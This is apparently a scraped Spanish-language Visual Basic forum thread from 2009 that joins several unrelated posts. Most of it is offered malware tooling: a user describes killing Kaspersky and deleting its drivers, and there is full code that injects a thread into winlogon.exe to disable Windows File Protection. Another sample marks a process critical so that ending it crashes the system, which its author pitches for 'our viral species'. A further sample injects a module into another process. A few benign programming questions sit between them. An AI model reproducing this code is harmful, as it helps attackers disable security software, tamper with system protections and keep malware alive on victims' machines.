Realize un programa en VB para eliminar al antivirus kaspersky 2009, funciona perfecto, quite el hook a las apis, luego termine el proceso y por ultimo elimine el driver KLIF.sys y las entradas del registro. pero tengo un problema klim5.sys es el filtro NDIS, y como elimino su entrada en el registro no puedo conectarme a internet desde la maquina en la cual elimine al kaspersky. me toca ir a propiedades del adaptador de red y deshabilitar el Kaspersky Anti-Virus NDIS Filter, y se vuelve a habilitar la conexion. mi pregunta es como puedo hacer esto desde mi codigo en VB?

[youtube=425,350]http://www.youtube.com/watch?v=dvVj7bNPqKY[/youtube]


Gracias de Antemano 

Esta técnica pone Fin al Hilo SFC Watcher que continuamente espera y responde a la notificación de cambio de directorio o acciones que se señalan.
Para ello SFC_OS.DLL  nos brinda una función sin nombre que podemos exportar con el  ordinal 2: SfcTerminateWatcherThread .. Esta API no acepta parámetros y hace exactamente lo que su nombre implica. Sin embargo, hay una sola manera de usar esta función: Esta debe ser invocada en el proceso que creó el SFC Watcher Thread: winlogon.exe.

Para ello debemos inyectar, y llamar a la función desde el propio Winlogon

Este code deja deshabilitada la Protección hasta el proximo reinicio. pudiendo de esta forma modificar los ficheros del sistema que protege WFP, espero les sea de utilidad.

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Module        : mDisableWFP
' Fecha         : 15/02/2009 12:10
' Autor         : XcryptOR
' Proposito     : Deshabilita la WFP (Windows File Protection)Hasta el proximo Reinicio
' SO            : Windows XP Sp1, Sp2, Sp3
'---------------------------------------------------------------------------------------

Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long

Declare Function CloseHandle Lib "kernel32.dll" ( _
ByVal hObject As Long) As Long

Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long

Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
ByRef NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As Any, _
ReturnLength As Long) As Long

Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
lpLuid As LUID) As Long

Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Long, _
ByVal th32ProcessID As Long) As Long

Declare Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As Long, _
lppe As PROCESSENTRY32) As Long

Declare Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As Long, _
lppe As PROCESSENTRY32) As Long

Declare Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long

Declare Function CreateRemoteThread Lib "kernel32.dll" ( _
ByVal hProcess As Long, _
ByRef lpThreadAttributes As Any, _
ByVal dwStackSize As Long, _
ByVal StartAddress As Long, _
ByRef lpParameter As Any, _
ByVal dwCreationFlags As Long, _
ByRef lpThreadId As Long) As Long

Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" ( _
ByVal lpLibFileName As String) As Long

Declare Function GetProcAddress Lib "kernel32.dll" ( _
ByVal hModule As Long, _
ByVal OrdinalNumber As Long) As Long

Declare Function FreeLibrary Lib "kernel32.dll" ( _
ByVal hLibModule As Long) As Long

Declare Function WaitForSingleObject Lib "kernel32.dll" ( _
ByVal hHandle As Long, _
ByVal dwMilliseconds As Long) As Long

Const TOKEN_ALL_ACCESS = 983551
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const TH32CS_SNAPPROCESS As Long = &H2
Const INFINITE = &HFFFF&

Type LUID
       LowPart             As Long
       HighPart            As Long
End Type

Type LUID_AND_ATTRIBUTES
       pLuid               As LUID
       Attributes          As Long
End Type

Type TOKEN_PRIVILEGES
       PrivilegeCount      As Long
       Privileges(1)       As LUID_AND_ATTRIBUTES
End Type

Type PROCESSENTRY32
       dwSize              As Long
       cntUsage            As Long
       th32ProcessID       As Long
       th32DefaultHeapID   As Long
       th32ModuleID        As Long
       cntThreads          As Long
       th32ParentProcessID As Long
       pcPriClassBase      As Long
       dwFlags             As Long
       szExeFile           As String * 260
End Type

Sub Main()
   
   SetPrivilegies
   
   If DisableWFP = True Then
       MsgBox "Se ha deshabilitado la WFP, hasta el proximo reinicio."
   Else
       MsgBox "Error al abrir winlogon! no se puede desactivar WFP"
   End If
   
       
End Sub

'==============================================================================
'================ OBTENER PID (PROCESS ID) DEL NOMBRE =========================
'==============================================================================
Public Function GetPid(szProcess As String)
   On Error Resume Next

   Dim Pid         As Long
   Dim l           As Long
   Dim l1          As Long
   Dim l2          As Long
   Dim Ol          As Long
   Dim pShot       As PROCESSENTRY32
   
   l1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
   pShot.dwSize = Len(pShot)
   l2 = Process32Next(l1, pShot)
   Do While l2
       If InStr(pShot.szExeFile, szProcess) <> 0 Then
           Pid = pShot.th32ProcessID
           GetPid = Pid
       End If
       l2 = Process32Next(l1, pShot)
   Loop
   l = CloseHandle(l1)

End Function
'==============================================================================
'=========================== OBTENER PRIVILEGIOS ==============================
'==============================================================================
Sub SetPrivilegies()

   Dim hToken      As Long
   Dim pLuid       As LUID
   Dim TokenPriv   As TOKEN_PRIVILEGES
   
   If OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, hToken) = 0 Then
       End
   End If
   
   LookupPrivilegeValue vbNullString, "SeDebugPrivilege", pLuid
   
   With TokenPriv
       .PrivilegeCount = 1
       .Privileges(0).pLuid = pLuid
       .Privileges(0).Attributes = 2
   End With
   
   AdjustTokenPrivileges hToken, 0, TokenPriv, Len(TokenPriv), ByVal 0&, ByVal 0&
   CloseHandle hToken
   
End Sub
'==============================================================================
'==== DESHABILITAR LA WFP (WINDOWS FILE PROTECTION) HASTA PROXIMO REINICIO ====
'==============================================================================

Function DisableWFP() As Boolean
   
   Dim LoadDll     As Long
   Dim hProcess    As Long
   Dim RemThread   As Long
   Dim SfcTerminateWatcherThread  As Long
   
   hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPid("winlogon.exe"))
       
   If hProcess = 0 Then
       DisableWFP = False
       End
   End If
       
   LoadDll = LoadLibrary("SFC_OS.DLL")          'sfc_os.dll
   SfcTerminateWatcherThread = GetProcAddress(LoadDll, 2)      'Api SfcTerminateWatcherThread ordinal:#2 de sfc_os.dll
   RemThread = CreateRemoteThread(hProcess, ByVal 0&, 0, ByVal SfcTerminateWatcherThread, ByVal 0&, 0, ByVal 0&)
   
   WaitForSingleObject RemThread, INFINITE
   CloseHandle hProcess
   FreeLibrary LoadDll
   DisableWFP = True
   
End Function


Code Util para utilizar el metodo de inicio ActiveX (ActiveX Startup Method), este code genera un numero unico de la forma: {89B4C1CD-B018-4511-B0A1-5476DBF70820}.

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Module      : mGenGUID
' Fecha       : 05/02/2009 18:10
' Autor       : XcryptOR
' Proposito   : Generar un número de identificación unico
' Creditos    : Creditos a trilithium, Autor del code original en Delphi
'---------------------------------------------------------------------------------------

Option Explicit

Private Type GUID
   Data1           As Long
   Data2           As Integer
   Data3           As Integer
   Data4(7)        As Byte
End Type

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
pDest As Any, _
pSource As Any, _
ByVal dwLength As Long)

Private Declare Function StringFromCLSID Lib "ole32" ( _
pclsid As GUID, _
lpsz As Long) As Long

Private Declare Function CoCreateGuid Lib "OLE32.DLL" (pGuid As GUID) As Long

Public Function GetGUID() As String
   Dim udtGUID     As GUID
   If (CoCreateGuid(udtGUID) = 0) Then
       GetGUID = GUIDToStr(udtGUID)
   End If
End Function

Private Function GUIDToStr(ID As GUID) As String
   Dim strRet      As String
   Dim ptrSource   As Long
   Dim lngRet      As Long
   
   strRet = Space(38)
   lngRet = StringFromCLSID(ID, ptrSource)
   If lngRet = 0 Then
       CopyMemory ByVal StrPtr(strRet), ByVal ptrSource, 76
       GUIDToStr = strRet
   End If
End Function

Hola, tengo un pequeño gran inconveniente, es lo unico en lo que no he podido de mi proyecto , la verdad he googleado bastante y nada, ojala y alguno de ustedes pueda ayudarme.

lo que necesito es que al eliminar un registro de mi base de datos, el datagrid que los muestra en el form se actualize y ya no me muestre el dato eliminado, muchas gracias

Bueno este code hace uso de un API nativa de NTDLL.dll la cual setea nuestro proceso como un proceso critico del sistema al igual que winlogon o csrss, bueno el resultado de terminar nuestro proceso dara como resultado la BSOD (Blue Screen Of Death) de windows, espero les sea de utilidad, aplicandolo a nuestra especie viral haria que nuestro proceso no se pudiera terminar. casi interminable.

Codigo del Form:

Código (vb) [Seleccionar] Expandir


'*************************************************************************
'*************************************************************************
' Uso de RtlSetProcessIsCritical para setear nuestro proceso, como proceso
' critico del sistema: del mismo modo que csrss.exe o winlogon
' XcryptOR - Made In Colombia
'**************************************************************************
'*************************************************************************
Private Sub Form_Load()
On Error Resume Next
ObtenerPrivilegios SE_DEBUG_NAME ' obtiene privilegios de Debugeo
Call RtlSetProcessIsCritical(0, 0, 1) ' setea nuestro proceso como Proceso Critico
End Sub


Codigo Modulo:

Código (vb) [Seleccionar] Expandir


Option Explicit

Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2

Private Type LUID
    LowPart As Long
    HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
        pLuid As LUID
        Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type


Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLUID As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long



Public Const SE_DEBUG_NAME As String = "SeDebugPrivilege"


Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" (ByVal NewValue As Boolean, ByVal OldValue As Boolean, ByVal WinLogon As Boolean)

Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long

Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long

hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
    Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
    Exit Function
End If
With lpToken
    .PrivilegeCount = 1
    .Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    .Privileges(0).pLuid = lpLUID
End With

res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
    Exit Function
End If
ObtenerPrivilegios = res
End Function


saludos

tengo una duda, la inyección de code solo se puede hacer a otro ejecutable en VB, oh podria inyectar mi code a explorer.exe?

podria alguien postear algun code que sirva.

Código (vb) [Seleccionar] Expandir


Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal ProcessHandle As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function VirtualFreeEx Lib "kernel32" (ByVal ProcessHandle As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal ProcessHandle As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Public Declare Function GetModuleHandleA Lib "kernel32" (ByVal ModName As String) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal ProcessHandle As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nsize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Public Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function CreateEvent Lib "kernel32" Alias "CreateEventA" (ByVal lpEventAttributes As Long, ByVal bManualReset As Long, ByVal bInitialState As Long, ByVal lpname As String) As Long
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hmodule As Integer, ByVal lpFileName As String, ByVal nsize As Integer) As Integer
Public Declare Sub ExitThread Lib "kernel32" (ByVal dwExitCode As Long)
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_RELEASE = &H8000
Const PAGE_EXECUTE_READWRITE = &H40&
Const IMAGE_NUMBEROF_DIRECTIRY_ENRIES = 16
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const SYNCHRONIZE = &H100000
Const PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)

Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type

Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDataStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    Characteristics As Integer
End Type

Type IMAGE_OPTIONAL_HEADER32
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitalizedData As Long
    SizeOfUninitalizedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    Reserved1 As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    Subsystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaerFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(IMAGE_NUMBEROF_DIRECTIRY_ENRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Type test
    t1 As Long
End Type

Type IMAGE_DOS_HEADER
    e_magic As Integer
    e_cblp As Integer
    e_cp As Integer
    e_crlc As Integer
    e_cparhdr As Integer
    e_minalloc As Integer
    e_maxalloc As Integer
    e_ss As Integer
    e_sp As Integer
    e_csum As Integer
    e_ip As Integer
    e_cs As Integer
    e_lfarlc As Integer
    e_onvo As Integer
    e_res(3) As Integer
    e_oemid As Integer
    e_oeminfo As Integer
    e_res2(9) As Integer
    e_lfanew As Long
End Type
Const szTarget As String = "project1"
Dim szSharedData As String * 261
Public Sub Main()
' Sub that will start when the program is run
Dim PID As Long, ProcessHandle As Long
Dim Size As Long, BytesWritten As Long, TID As Long, Module As Long, NewModule As Long
Dim PImageOptionalHeader As IMAGE_OPTIONAL_HEADER32, PImageDosHeader As IMAGE_DOS_HEADER, TImageFileHeader As IMAGE_FILE_HEADER, TestType As test

GetModuleFileName 0, szSharedData, 261

GetWindowThreadProcessId FindWindow(vbNullString, szTarget), PID

ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

Module = GetModuleHandleA(vbNullString)

CopyMemory PImageDosHeader, ByVal Module, Len(PImageDosHeader)

CopyMemory PImageOptionalHeader, ByVal (Module + PImageDosHeader.e_lfanew + 4 + Len(TImageFileHeader)), Len(PImageOptionalHeader)

Size = PImageOptionalHeader.SizeOfImage


VirtualFreeEx ProcessHandle, Module, 0, MEM_RELEASE

NewModule = VirtualAllocEx(ProcessHandle, Module, Size, MEM_RESERVE Or MEM_COMMIT, PAGE_EXECUTE_READWRITE)

WriteProcessMemory ProcessHandle, ByVal NewModule, ByVal Module, Size, BytesWritten

CreateRemoteThread ProcessHandle, ByVal 0, 0, ByVal GetAdd(AddressOf HijackModule), ByVal Module, 0, TID

MsgBox "Handle of the process is: " & ProcessHandle & vbCrLf & "Callback of HijackModule is: " & GetAdd(AddressOf HijackModule) & vbCrLf & "Handle of module is: " & Module & vbCrLf & "Size of module is: " & Size & vbCrLf & "Memory was allocated at: " & NewModule & vbCrLf & "Thread created with handle: " & TID
End Sub

Private Function GetAdd(Entrypoint As Long) As Long
GetAdd = Entrypoint
End Function

Public Function HijackModule(Stuff As Long) As Long
MessageBox 0, "I am inside a hijacked application", "Hello!", 0
MessageBox 0, "Close the ""Inject"" message box and then delete me", "Hello!", 0
MessageBox 0, "You see? I am still running even if you deleted me.", "Hello!", 0
End Function



he estado intentando pero sin exito, agradeceria cualquier aporte que me puedan brindar,

Gracias.

quisiera saber si hay alguna forma de enviar una URL a la ventana de chat del live messenger, de esta forma

Código [Seleccionar] Expandir


<A href="http://myurl.com/">Mi URL</A>.


lo que quiero es mediante sendkeys enviar la URL